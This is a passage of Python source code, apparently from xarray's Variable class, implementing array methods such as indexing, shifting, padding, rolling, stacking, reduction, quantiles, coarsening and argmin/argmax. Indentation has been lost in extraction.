Change backend from sparse to np.array
"""
if hasattr(self._data, "todense"):
return self._replace(data=self._data.todense())
return self.copy(deep=False)
def isel(
self: VariableType,
indexers: Mapping[Hashable, Any] = None,
missing_dims: str = "raise",
**indexers_kwargs: Any,
) -> VariableType:
"""Return a new array indexed along the specified dimension(s).
Parameters
----------
**indexers : {dim: indexer, ...}
Keyword arguments with names matching dimensions and values given
by integers, slice objects or arrays.
missing_dims : {"raise", "warn", "ignore"}, default: "raise"
What to do if dimensions that should be selected from are not present in the
DataArray:
- "raise": raise an exception
- "warning": raise a warning, and ignore the missing dimensions
- "ignore": ignore the missing dimensions
Returns
-------
obj : Array object
A new Array with the selected data and dimensions. In general,
the new variable's data will be a view of this variable's data,
unless numpy fancy indexing was triggered by using an array
indexer, in which case the data will be a copy.
"""
indexers = either_dict_or_kwargs(indexers, indexers_kwargs, "isel")
indexers = drop_dims_from_indexers(indexers, self.dims, missing_dims)
key = tuple(indexers.get(dim, slice(None)) for dim in self.dims)
return self[key]
def squeeze(self, dim=None):
"""Return a new object with squeezed data.
Parameters
----------
dim : None or str or tuple of str, optional
Selects a subset of the length one dimensions. If a dimension is
selected with length greater than one, an error is raised. If
None, all length one dimensions are squeezed.
Returns
-------
squeezed : same type as caller
This object, but with with all or a subset of the dimensions of
length 1 removed.
See Also
--------
numpy.squeeze
"""
dims = common.get_squeeze_dims(self, dim)
return self.isel({d: 0 for d in dims})
def _shift_one_dim(self, dim, count, fill_value=dtypes.NA):
axis = self.get_axis_num(dim)
if count > 0:
keep = slice(None, -count)
elif count < 0:
keep = slice(-count, None)
else:
keep = slice(None)
trimmed_data = self[(slice(None),) * axis + (keep,)].data
if fill_value is dtypes.NA:
dtype, fill_value = dtypes.maybe_promote(self.dtype)
else:
dtype = self.dtype
width = min(abs(count), self.shape[axis])
dim_pad = (width, 0) if count >= 0 else (0, width)
pads = [(0, 0) if d != dim else dim_pad for d in self.dims]
data = duck_array_ops.pad(
trimmed_data.astype(dtype),
pads,
mode="constant",
constant_values=fill_value,
)
if is_duck_dask_array(data):
# chunked data should come out with the same chunks; this makes
# it feasible to combine shifted and unshifted data
# TODO: remove this once dask.array automatically aligns chunks
data = data.rechunk(self.data.chunks)
return type(self)(self.dims, data, self._attrs, fastpath=True)
def shift(self, shifts=None, fill_value=dtypes.NA, **shifts_kwargs):
"""
Return a new Variable with shifted data.
Parameters
----------
shifts : mapping of the form {dim: offset}
Integer offset to shift along each of the given dimensions.
Positive offsets shift to the right; negative offsets shift to the
left.
fill_value: scalar, optional
Value to use for newly missing values
**shifts_kwargs
The keyword arguments form of ``shifts``.
One of shifts or shifts_kwargs must be provided.
Returns
-------
shifted : Variable
Variable with the same dimensions and attributes but shifted data.
"""
shifts = either_dict_or_kwargs(shifts, shifts_kwargs, "shift")
result = self
for dim, count in shifts.items():
result = result._shift_one_dim(dim, count, fill_value=fill_value)
return result
def _pad_options_dim_to_index(
self,
pad_option: Mapping[Hashable, Union[int, Tuple[int, int]]],
fill_with_shape=False,
):
if fill_with_shape:
return [
(n, n) if d not in pad_option else pad_option[d]
for d, n in zip(self.dims, self.data.shape)
]
return [(0, 0) if d not in pad_option else pad_option[d] for d in self.dims]
def pad(
self,
pad_width: Mapping[Hashable, Union[int, Tuple[int, int]]] = None,
mode: str = "constant",
stat_length: Union[
int, Tuple[int, int], Mapping[Hashable, Tuple[int, int]]
] = None,
constant_values: Union[
int, Tuple[int, int], Mapping[Hashable, Tuple[int, int]]
] = None,
end_values: Union[
int, Tuple[int, int], Mapping[Hashable, Tuple[int, int]]
] = None,
reflect_type: str = None,
**pad_width_kwargs: Any,
):
"""
Return a new Variable with padded data.
Parameters
----------
pad_width : mapping of hashable to tuple of int
Mapping with the form of {dim: (pad_before, pad_after)}
describing the number of values padded along each dimension.
{dim: pad} is a shortcut for pad_before = pad_after = pad
mode : str, default: "constant"
See numpy / Dask docs
stat_length : int, tuple or mapping of hashable to tuple
Used in 'maximum', 'mean', 'median', and 'minimum'. Number of
values at edge of each axis used to calculate the statistic value.
constant_values : scalar, tuple or mapping of hashable to tuple
Used in 'constant'. The values to set the padded values for each
axis.
end_values : scalar, tuple or mapping of hashable to tuple
Used in 'linear_ramp'. The values used for the ending value of the
linear_ramp and that will form the edge of the padded array.
reflect_type : {"even", "odd"}, optional
Used in "reflect", and "symmetric". The "even" style is the
default with an unaltered reflection around the edge value. For
the "odd" style, the extended part of the array is created by
subtracting the reflected values from two times the edge value.
**pad_width_kwargs
One of pad_width or pad_width_kwargs must be provided.
Returns
-------
padded : Variable
Variable with the same dimensions and attributes but padded data.
"""
pad_width = either_dict_or_kwargs(pad_width, pad_width_kwargs, "pad")
# change default behaviour of pad with mode constant
if mode == "constant" and (
constant_values is None or constant_values is dtypes.NA
):
dtype, constant_values = dtypes.maybe_promote(self.dtype)
else:
dtype = self.dtype
# create pad_options_kwargs, numpy requires only relevant kwargs to be nonempty
if isinstance(stat_length, dict):
stat_length = self._pad_options_dim_to_index(
stat_length, fill_with_shape=True
)
if isinstance(constant_values, dict):
constant_values = self._pad_options_dim_to_index(constant_values)
if isinstance(end_values, dict):
end_values = self._pad_options_dim_to_index(end_values)
# workaround for bug in Dask's default value of stat_length https://github.com/dask/dask/issues/5303
if stat_length is None and mode in ["maximum", "mean", "median", "minimum"]:
stat_length = [(n, n) for n in self.data.shape] # type: ignore
# change integer values to a tuple of two of those values and change pad_width to index
for k, v in pad_width.items():
if isinstance(v, numbers.Number):
pad_width[k] = (v, v)
pad_width_by_index = self._pad_options_dim_to_index(pad_width)
# create pad_options_kwargs, numpy/dask requires only relevant kwargs to be nonempty
pad_option_kwargs = {}
if stat_length is not None:
pad_option_kwargs["stat_length"] = stat_length
if constant_values is not None:
pad_option_kwargs["constant_values"] = constant_values
if end_values is not None:
pad_option_kwargs["end_values"] = end_values
if reflect_type is not None:
pad_option_kwargs["reflect_type"] = reflect_type # type: ignore
array = duck_array_ops.pad(
self.data.astype(dtype, copy=False),
pad_width_by_index,
mode=mode,
**pad_option_kwargs,
)
return type(self)(self.dims, array)
def _roll_one_dim(self, dim, count):
axis = self.get_axis_num(dim)
count %= self.shape[axis]
if count != 0:
indices = [slice(-count, None), slice(None, -count)]
else:
indices = [slice(None)]
arrays = [self[(slice(None),) * axis + (idx,)].data for idx in indices]
data = duck_array_ops.concatenate(arrays, axis)
if is_duck_dask_array(data):
# chunked data should come out with the same chunks; this makes
# it feasible to combine shifted and unshifted data
# TODO: remove this once dask.array automatically aligns chunks
data = data.rechunk(self.data.chunks)
return type(self)(self.dims, data, self._attrs, fastpath=True)
def roll(self, shifts=None, **shifts_kwargs):
"""
Return a new Variable with rolld data.
Parameters
----------
shifts : mapping of hashable to int
Integer offset to roll along each of the given dimensions.
Positive offsets roll to the right; negative offsets roll to the
left.
**shifts_kwargs
The keyword arguments form of ``shifts``.
One of shifts or shifts_kwargs must be provided.
Returns
-------
shifted : Variable
Variable with the same dimensions and attributes but rolled data.
"""
shifts = either_dict_or_kwargs(shifts, shifts_kwargs, "roll")
result = self
for dim, count in shifts.items():
result = result._roll_one_dim(dim, count)
return result
def transpose(self, *dims) -> "Variable":
"""Return a new Variable object with transposed dimensions.
Parameters
----------
*dims : str, optional
By default, reverse the dimensions. Otherwise, reorder the
dimensions to this order.
Returns
-------
transposed : Variable
The returned object has transposed data and dimensions with the
same attributes as the original.
Notes
-----
This operation returns a view of this variable's data. It is
lazy for dask-backed Variables but not for numpy-backed Variables.
See Also
--------
numpy.transpose
"""
if len(dims) == 0:
dims = self.dims[::-1]
dims = tuple(infix_dims(dims, self.dims))
axes = self.get_axis_num(dims)
if len(dims) < 2 or dims == self.dims:
# no need to transpose if only one dimension
# or dims are in same order
return self.copy(deep=False)
data = as_indexable(self._data).transpose(axes)
return type(self)(dims, data, self._attrs, self._encoding, fastpath=True)
@property
def T(self) -> "Variable":
return self.transpose()
def set_dims(self, dims, shape=None):
"""Return a new variable with given set of dimensions.
This method might be used to attach new dimension(s) to variable.
When possible, this operation does not copy this variable's data.
Parameters
----------
dims : str or sequence of str or dict
Dimensions to include on the new variable. If a dict, values are
used to provide the sizes of new dimensions; otherwise, new
dimensions are inserted with length 1.
Returns
-------
Variable
"""
if isinstance(dims, str):
dims = [dims]
if shape is None and utils.is_dict_like(dims):
shape = dims.values()
missing_dims = set(self.dims) - set(dims)
if missing_dims:
raise ValueError(
"new dimensions %r must be a superset of "
"existing dimensions %r" % (dims, self.dims)
)
self_dims = set(self.dims)
expanded_dims = tuple(d for d in dims if d not in self_dims) + self.dims
if self.dims == expanded_dims:
# don't use broadcast_to unless necessary so the result remains
# writeable if possible
expanded_data = self.data
elif shape is not None:
dims_map = dict(zip(dims, shape))
tmp_shape = tuple(dims_map[d] for d in expanded_dims)
expanded_data = duck_array_ops.broadcast_to(self.data, tmp_shape)
else:
expanded_data = self.data[(None,) * (len(expanded_dims) - self.ndim)]
expanded_var = Variable(
expanded_dims, expanded_data, self._attrs, self._encoding, fastpath=True
)
return expanded_var.transpose(*dims)
def _stack_once(self, dims, new_dim):
if not set(dims) <= set(self.dims):
raise ValueError("invalid existing dimensions: %s" % dims)
if new_dim in self.dims:
raise ValueError(
"cannot create a new dimension with the same "
"name as an existing dimension"
)
if len(dims) == 0:
# don't stack
return self.copy(deep=False)
other_dims = [d for d in self.dims if d not in dims]
dim_order = other_dims + list(dims)
reordered = self.transpose(*dim_order)
new_shape = reordered.shape[: len(other_dims)] + (-1,)
new_data = reordered.data.reshape(new_shape)
new_dims = reordered.dims[: len(other_dims)] + (new_dim,)
return Variable(new_dims, new_data, self._attrs, self._encoding, fastpath=True)
def stack(self, dimensions=None, **dimensions_kwargs):
"""
Stack any number of existing dimensions into a single new dimension.
New dimensions will be added at the end, and the order of the data
along each new dimension will be in contiguous (C) order.
Parameters
----------
dimensions : mapping of hashable to tuple of hashable
Mapping of form new_name=(dim1, dim2, ...) describing the
names of new dimensions, and the existing dimensions that
they replace.
**dimensions_kwargs
The keyword arguments form of ``dimensions``.
One of dimensions or dimensions_kwargs must be provided.
Returns
-------
stacked : Variable
Variable with the same attributes but stacked data.
See also
--------
Variable.unstack
"""
dimensions = either_dict_or_kwargs(dimensions, dimensions_kwargs, "stack")
result = self
for new_dim, dims in dimensions.items():
result = result._stack_once(dims, new_dim)
return result
def _unstack_once(self, dims, old_dim):
new_dim_names = tuple(dims.keys())
new_dim_sizes = tuple(dims.values())
if old_dim not in self.dims:
raise ValueError("invalid existing dimension: %s" % old_dim)
if set(new_dim_names).intersection(self.dims):
raise ValueError(
"cannot create a new dimension with the same "
"name as an existing dimension"
)
if np.prod(new_dim_sizes) != self.sizes[old_dim]:
raise ValueError(
"the product of the new dimension sizes must "
"equal the size of the old dimension"
)
other_dims = [d for d in self.dims if d != old_dim]
dim_order = other_dims + [old_dim]
reordered = self.transpose(*dim_order)
new_shape = reordered.shape[: len(other_dims)] + new_dim_sizes
new_data = reordered.data.reshape(new_shape)
new_dims = reordered.dims[: len(other_dims)] + new_dim_names
return Variable(new_dims, new_data, self._attrs, self._encoding, fastpath=True)
def unstack(self, dimensions=None, **dimensions_kwargs):
"""
Unstack an existing dimension into multiple new dimensions.
New dimensions will be added at the end, and the order of the data
along each new dimension will be in contiguous (C) order.
Parameters
----------
dimensions : mapping of hashable to mapping of hashable to int
Mapping of the form old_dim={dim1: size1, ...} describing the
names of existing dimensions, and the new dimensions and sizes
that they map to.
**dimensions_kwargs
The keyword arguments form of ``dimensions``.
One of dimensions or dimensions_kwargs must be provided.
Returns
-------
unstacked : Variable
Variable with the same attributes but unstacked data.
See also
--------
Variable.stack
"""
dimensions = either_dict_or_kwargs(dimensions, dimensions_kwargs, "unstack")
result = self
for old_dim, dims in dimensions.items():
result = result._unstack_once(dims, old_dim)
return result
def fillna(self, value):
return ops.fillna(self, value)
def where(self, cond, other=dtypes.NA):
return ops.where_method(self, cond, other)
def reduce(
self,
func,
dim=None,
axis=None,
keep_attrs=None,
keepdims=False,
**kwargs,
):
"""Reduce this array by applying `func` along some dimension(s).
Parameters
----------
func : callable
Function which can be called in the form
`func(x, axis=axis, **kwargs)` to return the result of reducing an
np.ndarray over an integer valued axis.
dim : str or sequence of str, optional
Dimension(s) over which to apply `func`.
axis : int or sequence of int, optional
Axis(es) over which to apply `func`. Only one of the 'dim'
and 'axis' arguments can be supplied. If neither are supplied, then
the reduction is calculated over the flattened array (by calling
`func(x)` without an axis argument).
keep_attrs : bool, optional
If True, the variable's attributes (`attrs`) will be copied from
the original object to the new one. If False (default), the new
object will be returned without attributes.
keepdims : bool, default: False
If True, the dimensions which are reduced are left in the result
as dimensions of size one
**kwargs : dict
Additional keyword arguments passed on to `func`.
Returns
-------
reduced : Array
Array with summarized data and the indicated dimension(s)
removed.
"""
if dim == ...:
dim = None
if dim is not None and axis is not None:
raise ValueError("cannot supply both 'axis' and 'dim' arguments")
if dim is not None:
axis = self.get_axis_num(dim)
with warnings.catch_warnings():
warnings.filterwarnings(
"ignore", r"Mean of empty slice", category=RuntimeWarning
)
if axis is not None:
data = func(self.data, axis=axis, **kwargs)
else:
data = func(self.data, **kwargs)
if getattr(data, "shape", ()) == self.shape:
dims = self.dims
else:
removed_axes = (
range(self.ndim) if axis is None else np.atleast_1d(axis) % self.ndim
)
if keepdims:
# Insert np.newaxis for removed dims
slices = tuple(
np.newaxis if i in removed_axes else slice(None, None)
for i in range(self.ndim)
)
if getattr(data, "shape", None) is None:
# Reduce has produced a scalar value, not an array-like
data = np.asanyarray(data)[slices]
else:
data = data[slices]
dims = self.dims
else:
dims = [
adim for n, adim in enumerate(self.dims) if n not in removed_axes
]
if keep_attrs is None:
keep_attrs = _get_keep_attrs(default=False)
attrs = self._attrs if keep_attrs else None
return Variable(dims, data, attrs=attrs)
@classmethod
def concat(cls, variables, dim="concat_dim", positions=None, shortcut=False):
"""Concatenate variables along a new or existing dimension.
Parameters
----------
variables : iterable of Variable
Arrays to stack together. Each variable is expected to have
matching dimensions and shape except for along the stacked
dimension.
dim : str or DataArray, optional
Name of the dimension to stack along. This can either be a new
dimension name, in which case it is added along axis=0, or an
existing dimension name, in which case the location of the
dimension is unchanged. Where to insert the new dimension is
determined by the first variable.
positions : None or list of array-like, optional
List of integer arrays which specifies the integer positions to
which to assign each dataset along the concatenated dimension.
If not supplied, objects are concatenated in the provided order.
shortcut : bool, optional
This option is used internally to speed-up groupby operations.
If `shortcut` is True, some checks of internal consistency between
arrays to concatenate are skipped.
Returns
-------
stacked : Variable
Concatenated Variable formed by stacking all the supplied variables
along the given dimension.
"""
if not isinstance(dim, str):
(dim,) = dim.dims
# can't do this lazily: we need to loop through variables at least
# twice
variables = list(variables)
first_var = variables[0]
arrays = [v.data for v in variables]
if dim in first_var.dims:
axis = first_var.get_axis_num(dim)
dims = first_var.dims
data = duck_array_ops.concatenate(arrays, axis=axis)
if positions is not None:
# TODO: deprecate this option -- we don't need it for groupby
# any more.
indices = nputils.inverse_permutation(np.concatenate(positions))
data = duck_array_ops.take(data, indices, axis=axis)
else:
axis = 0
dims = (dim,) + first_var.dims
data = duck_array_ops.stack(arrays, axis=axis)
attrs = dict(first_var.attrs)
encoding = dict(first_var.encoding)
if not shortcut:
for var in variables:
if var.dims != first_var.dims:
raise ValueError(
f"Variable has dimensions {list(var.dims)} but first Variable has dimensions {list(first_var.dims)}"
)
return cls(dims, data, attrs, encoding)
def equals(self, other, equiv=duck_array_ops.array_equiv):
"""True if two Variables have the same dimensions and values;
otherwise False.
Variables can still be equal (like pandas objects) if they have NaN
values in the same locations.
This method is necessary because `v1 == v2` for Variables
does element-wise comparisons (like numpy.ndarrays).
"""
other = getattr(other, "variable", other)
try:
return self.dims == other.dims and (
self._data is other._data or equiv(self.data, other.data)
)
except (TypeError, AttributeError):
return False
def broadcast_equals(self, other, equiv=duck_array_ops.array_equiv):
"""True if two Variables have the values after being broadcast against
each other; otherwise False.
Variables can still be equal (like pandas objects) if they have NaN
values in the same locations.
"""
try:
self, other = broadcast_variables(self, other)
except (ValueError, AttributeError):
return False
return self.equals(other, equiv=equiv)
def identical(self, other, equiv=duck_array_ops.array_equiv):
"""Like equals, but also checks attributes."""
try:
return utils.dict_equiv(self.attrs, other.attrs) and self.equals(
other, equiv=equiv
)
except (TypeError, AttributeError):
return False
def no_conflicts(self, other, equiv=duck_array_ops.array_notnull_equiv):
"""True if the intersection of two Variable's non-null data is
equal; otherwise false.
Variables can thus still be equal if there are locations where either,
or both, contain NaN values.
"""
return self.broadcast_equals(other, equiv=equiv)
def quantile(
self, q, dim=None, interpolation="linear", keep_attrs=None, skipna=True
):
"""Compute the qth quantile of the data along the specified dimension.
Returns the qth quantiles(s) of the array elements.
Parameters
----------
q : float or sequence of float
Quantile to compute, which must be between 0 and 1
inclusive.
dim : str or sequence of str, optional
Dimension(s) over which to apply quantile.
interpolation : {"linear", "lower", "higher", "midpoint", "nearest"}, default: "linear"
This optional parameter specifies the interpolation method to
use when the desired quantile lies between two data points
``i < j``:
* linear: ``i + (j - i) * fraction``, where ``fraction`` is
the fractional part of the index surrounded by ``i`` and
``j``.
* lower: ``i``.
* higher: ``j``.
* nearest: ``i`` or ``j``, whichever is nearest.
* midpoint: ``(i + j) / 2``.
keep_attrs : bool, optional
If True, the variable's attributes (`attrs`) will be copied from
the original object to the new one. If False (default), the new
object will be returned without attributes.
Returns
-------
quantiles : Variable
If `q` is a single quantile, then the result
is a scalar. If multiple percentiles are given, first axis of
the result corresponds to the quantile and a quantile dimension
is added to the return array. The other dimensions are the
dimensions that remain after the reduction of the array.
See Also
--------
numpy.nanquantile, pandas.Series.quantile, Dataset.quantile,
DataArray.quantile
"""
from .computation import apply_ufunc
_quantile_func = np.nanquantile if skipna else np.quantile
if keep_attrs is None:
keep_attrs = _get_keep_attrs(default=False)
scalar = utils.is_scalar(q)
q = np.atleast_1d(np.asarray(q, dtype=np.float64))
if dim is None:
dim = self.dims
if utils.is_scalar(dim):
dim = [dim]
def _wrapper(npa, **kwargs):
# move quantile axis to end. required for apply_ufunc
return np.moveaxis(_quantile_func(npa, **kwargs), 0, -1)
axis = np.arange(-1, -1 * len(dim) - 1, -1)
result = apply_ufunc(
_wrapper,
self,
input_core_dims=[dim],
exclude_dims=set(dim),
output_core_dims=[["quantile"]],
output_dtypes=[np.float64],
dask_gufunc_kwargs=dict(output_sizes={"quantile": len(q)}),
dask="parallelized",
kwargs={"q": q, "axis": axis, "interpolation": interpolation},
)
# for backward compatibility
result = result.transpose("quantile", ...)
if scalar:
result = result.squeeze("quantile")
if keep_attrs:
result.attrs = self._attrs
return result
def rank(self, dim, pct=False):
"""Ranks the data.
Equal values are assigned a rank that is the average of the ranks that
would have been otherwise assigned to all of the values within that
set. Ranks begin at 1, not 0. If `pct`, computes percentage ranks.
NaNs in the input array are returned as NaNs.
The `bottleneck` library is required.
Parameters
----------
dim : str
Dimension over which to compute rank.
pct : bool, optional
If True, compute percentage ranks, otherwise compute integer ranks.
Returns
-------
ranked : Variable
See Also
--------
Dataset.rank, DataArray.rank
"""
import bottleneck as bn
data = self.data
if is_duck_dask_array(data):
raise TypeError(
"rank does not work for arrays stored as dask "
"arrays. Load the data via .compute() or .load() "
"prior to calling this method."
)
elif not isinstance(data, np.ndarray):
raise TypeError(
"rank is not implemented for {} objects.".format(type(data))
)
axis = self.get_axis_num(dim)
func = bn.nanrankdata if self.dtype.kind == "f" else bn.rankdata
ranked = func(data, axis=axis)
if pct:
count = np.sum(~np.isnan(data), axis=axis, keepdims=True)
ranked /= count
return Variable(self.dims, ranked)
def rolling_window(
self, dim, window, window_dim, center=False, fill_value=dtypes.NA
):
"""
Make a rolling_window along dim and add a new_dim to the last place.
Parameters
----------
dim : str
Dimension over which to compute rolling_window.
For nd-rolling, should be list of dimensions.
window : int
Window size of the rolling
For nd-rolling, should be list of integers.
window_dim : str
New name of the window dimension.
For nd-rolling, should be list of integers.
center : bool, default: False
If True, pad fill_value for both ends. Otherwise, pad in the head
of the axis.
fill_value
value to be filled.
Returns
-------
Variable that is a view of the original array with a added dimension of
size w.
The return dim: self.dims + (window_dim, )
The return shape: self.shape + (window, )
Examples
--------
>>> v = Variable(("a", "b"), np.arange(8).reshape((2, 4)))
>>> v.rolling_window("b", 3, "window_dim")
<xarray.Variable (a: 2, b: 4, window_dim: 3)>
array([[[nan, nan, 0.],
[nan, 0., 1.],
[ 0., 1., 2.],
[ 1., 2., 3.]],
<BLANKLINE>
[[nan, nan, 4.],
[nan, 4., 5.],
[ 4., 5., 6.],
[ 5., 6., 7.]]])
>>> v.rolling_window("b", 3, "window_dim", center=True)
<xarray.Variable (a: 2, b: 4, window_dim: 3)>
array([[[nan, 0., 1.],
[ 0., 1., 2.],
[ 1., 2., 3.],
[ 2., 3., nan]],
<BLANKLINE>
[[nan, 4., 5.],
[ 4., 5., 6.],
[ 5., 6., 7.],
[ 6., 7., nan]]])
"""
if fill_value is dtypes.NA: # np.nan is passed
dtype, fill_value = dtypes.maybe_promote(self.dtype)
array = self.astype(dtype, copy=False).data
else:
dtype = self.dtype
array = self.data
if isinstance(dim, list):
assert len(dim) == len(window)
assert len(dim) == len(window_dim)
assert len(dim) == len(center)
else:
dim = [dim]
window = [window]
window_dim = [window_dim]
center = [center]
axis = [self.get_axis_num(d) for d in dim]
new_dims = self.dims + tuple(window_dim)
return Variable(
new_dims,
duck_array_ops.rolling_window(
array, axis=axis, window=window, center=center, fill_value=fill_value
),
)
def coarsen(
self, windows, func, boundary="exact", side="left", keep_attrs=None, **kwargs
):
"""
Apply reduction function.
"""
windows = {k: v for k, v in windows.items() if k in self.dims}
if not windows:
return self.copy()
if keep_attrs is None:
keep_attrs = _get_keep_attrs(default=False)
if keep_attrs:
_attrs = self.attrs
else:
_attrs = None
reshaped, axes = self._coarsen_reshape(windows, boundary, side)
if isinstance(func, str):
name = func
func = getattr(duck_array_ops, name, None)
if func is None:
raise NameError(f"{name} is not a valid method.")
return self._replace(data=func(reshaped, axis=axes, **kwargs), attrs=_attrs)
def _coarsen_reshape(self, windows, boundary, side):
"""
Construct a reshaped-array for coarsen
"""
if not utils.is_dict_like(boundary):
boundary = {d: boundary for d in windows.keys()}
if not utils.is_dict_like(side):
side = {d: side for d in windows.keys()}
# remove unrelated dimensions
boundary = {k: v for k, v in boundary.items() if k in windows}
side = {k: v for k, v in side.items() if k in windows}
for d, window in windows.items():
if window <= 0:
raise ValueError(f"window must be > 0. Given {window}")
variable = self
for d, window in windows.items():
# trim or pad the object
size = variable.shape[self._get_axis_num(d)]
n = int(size / window)
if boundary[d] == "exact":
if n * window != size:
raise ValueError(
"Could not coarsen a dimension of size {} with "
"window {}".format(size, window)
)
elif boundary[d] == "trim":
if side[d] == "left":
variable = variable.isel({d: slice(0, window * n)})
else:
excess = size - window * n
variable = variable.isel({d: slice(excess, None)})
elif boundary[d] == "pad": # pad
pad = window * n - size
if pad < 0:
pad += window
if side[d] == "left":
pad_width = {d: (0, pad)}
else:
pad_width = {d: (pad, 0)}
variable = variable.pad(pad_width, mode="constant")
else:
raise TypeError(
"{} is invalid for boundary. Valid option is 'exact', "
"'trim' and 'pad'".format(boundary[d])
)
shape = []
axes = []
axis_count = 0
for i, d in enumerate(variable.dims):
if d in windows:
size = variable.shape[i]
shape.append(int(size / windows[d]))
shape.append(windows[d])
axis_count += 1
axes.append(i + axis_count)
else:
shape.append(variable.shape[i])
return variable.data.reshape(shape), tuple(axes)
def isnull(self, keep_attrs: bool = None):
"""Test each value in the array for whether it is a missing value.
Returns
-------
isnull : Variable
Same type and shape as object, but the dtype of the data is bool.
See Also
--------
pandas.isnull
Examples
--------
>>> var = xr.Variable("x", [1, np.nan, 3])
>>> var
<xarray.Variable (x: 3)>
array([ 1., nan, 3.])
>>> var.isnull()
<xarray.Variable (x: 3)>
array([False, True, False])
"""
from .computation import apply_ufunc
if keep_attrs is None:
keep_attrs = _get_keep_attrs(default=False)
return apply_ufunc(
duck_array_ops.isnull,
self,
dask="allowed",
keep_attrs=keep_attrs,
)
def notnull(self, keep_attrs: bool = None):
"""Test each value in the array for whether it is not a missing value.
Returns
-------
notnull : Variable
Same type and shape as object, but the dtype of the data is bool.
See Also
--------
pandas.notnull
Examples
--------
>>> var = xr.Variable("x", [1, np.nan, 3])
>>> var
<xarray.Variable (x: 3)>
array([ 1., nan, 3.])
>>> var.notnull()
<xarray.Variable (x: 3)>
array([ True, False, True])
"""
from .computation import apply_ufunc
if keep_attrs is None:
keep_attrs = _get_keep_attrs(default=False)
return apply_ufunc(
duck_array_ops.notnull,
self,
dask="allowed",
keep_attrs=keep_attrs,
)
@property
def real(self):
return type(self)(self.dims, self.data.real, self._attrs)
@property
def imag(self):
return type(self)(self.dims, self.data.imag, self._attrs)
def __array_wrap__(self, obj, context=None):
return Variable(self.dims, obj)
@staticmethod
def _unary_op(f):
@functools.wraps(f)
def func(self, *args, **kwargs):
keep_attrs = kwargs.pop("keep_attrs", None)
if keep_attrs is None:
keep_attrs = _get_keep_attrs(default=True)
with np.errstate(all="ignore"):
result = self.__array_wrap__(f(self.data, *args, **kwargs))
if keep_attrs:
result.attrs = self.attrs
return result
return func
@staticmethod
def _binary_op(f, reflexive=False, **ignored_kwargs):
@functools.wraps(f)
def func(self, other):
if isinstance(other, (xr.DataArray, xr.Dataset)):
return NotImplemented
self_data, other_data, dims = _broadcast_compat_data(self, other)
keep_attrs = _get_keep_attrs(default=False)
attrs = self._attrs if keep_attrs else None
with np.errstate(all="ignore"):
new_data = (
f(self_data, other_data)
if not reflexive
else f(other_data, self_data)
)
result = Variable(dims, new_data, attrs=attrs)
return result
return func
@staticmethod
def _inplace_binary_op(f):
@functools.wraps(f)
def func(self, other):
if isinstance(other, xr.Dataset):
raise TypeError("cannot add a Dataset to a Variable in-place")
self_data, other_data, dims = _broadcast_compat_data(self, other)
if dims != self.dims:
raise ValueError("dimensions cannot change for in-place operations")
with np.errstate(all="ignore"):
self.values = f(self_data, other_data)
return self
return func
def _to_numeric(self, offset=None, datetime_unit=None, dtype=float):
"""A (private) method to convert datetime array to numeric dtype
See duck_array_ops.datetime_to_numeric
"""
numeric_array = duck_array_ops.datetime_to_numeric(
self.data, offset, datetime_unit, dtype
)
return type(self)(self.dims, numeric_array, self._attrs)
def _unravel_argminmax(
self,
argminmax: str,
dim: Union[Hashable, Sequence[Hashable], None],
axis: Union[int, None],
keep_attrs: Optional[bool],
skipna: Optional[bool],
) -> Union["Variable", Dict[Hashable, "Variable"]]:
"""Apply argmin or argmax over one or more dimensions, returning the result as a
dict of DataArray that can be passed directly to isel.
"""
if dim is None and axis is None:
warnings.warn(
"Behaviour of argmin/argmax with neither dim nor axis argument will "
"change to return a dict of indices of each dimension. To get a "
"single, flat index, please use np.argmin(da.data) or "
"np.argmax(da.data) instead of da.argmin() or da.argmax().",
DeprecationWarning,
stacklevel=3,
)
argminmax_func = getattr(duck_array_ops, argminmax)
if dim is ...:
# In future, should do this also when (dim is None and axis is None)
dim = self.dims
if (
dim is None
or axis is not None
or not isinstance(dim, Sequence)
or isinstance(dim, str)
):
# Return int index if single dimension is passed, and is not part of a
# sequence
return self.reduce(
argminmax_func, dim=dim, axis=axis, keep_attrs=keep_attrs, skipna=skipna
)
# Get a name for the new dimension that does not conflict with any existing
# dimension
newdimname = "_unravel_argminmax_dim_0"
count = 1
while newdimname in self.dims:
newdimname = f"_unravel_argminmax_dim_{count}"
count += 1
stacked = self.stack({newdimname: dim})
result_dims = stacked.dims[:-1]
reduce_shape = tuple(self.sizes[d] for d in dim)
result_flat_indices = stacked.reduce(argminmax_func, axis=-1, skipna=skipna)
result_unravelled_indices = duck_array_ops.unravel_index(
result_flat_indices.data, reduce_shape
)
result = {
d: Variable(dims=result_dims, data=i)
for d, i in zip(dim, result_unravelled_indices)
}
if keep_attrs is None:
keep_attrs = _get_keep_attrs(default=False)
if keep_attrs:
for v in result.values():
v.attrs = self.attrs
return result
def argmin(
self,
dim: Union[Hashable, Sequence[Hashable]] = None,
axis: int = None,
keep_attrs: bool = None,
skipna: bool = None,
) -> Union["Variable", Dict[Hashable, "Variable"]]:
"""Index or indices of the minimum of the Variable over one or more dimensions.
If a sequence is passed to 'dim', then result returned as dict of Variables,
which can be passed directly to isel(). If a single str is passed to 'dim' then
returns a Variable with dtype int.
If there are multiple minima, the indices of the first one found will be
returned.
Parameters
----------
dim : hashable, sequence of hashable or ..., optional
The dimensions over which to find the minimum. By default, finds minimum over
all dimensions - for now returning an int for backward compatibility, but
this is deprecated, in future will return a dict with indices for all
dimensions; to return a dict with all dimensions now, pass '...'.
axis : int, optional
Axis over which to apply `argmin`. Only one of the 'dim' and 'axis' arguments
can be supplied.
keep_attrs : bool, optional
If True, the attributes (`attrs`) will be copied from the original
object to the new one. If False (default), the new object will be
returned without attributes.
skipna : bool, optional
If True, skip missing values (as marked by NaN). By default, only
skips missing values for float dtypes; other dtypes either do not
have a sentinel missing value (int) or skipna=True has not been
implemented (object, datetime64 or timedelta64).
Returns
-------
result : Variable or dict of Variable
See also
--------
DataArray.argmin, DataArray.idxmin
"""
return self._unravel_argminmax("argmin", dim, axis, keep_attrs, skipna)
def argmax(
self,
dim: Union[Hashable, Sequence[Hashable]] = None,
axis: int = None,
keep_attrs: bool = None,
skipna: bool = None,
) -> Union["Variable", Dict[Hashable, "Variable"]]:
"""Index or indices of the maximum of the Variable over one or more dimensions.
If a sequence is passed to 'dim', then result returned as dict of Variables,
which can be passed directly to isel(). If a single str is passed to 'dim' then
returns a Variable with dtype int.
If there are multiple maxima, the indices of the first one found will be
returned.
Parameters
----------
dim : hashable, sequence of hashable or ..., optional
The dimensions over which to find the maximum. By default, finds maximum over
all dimensions - for now returning an int for backward compatibility, but
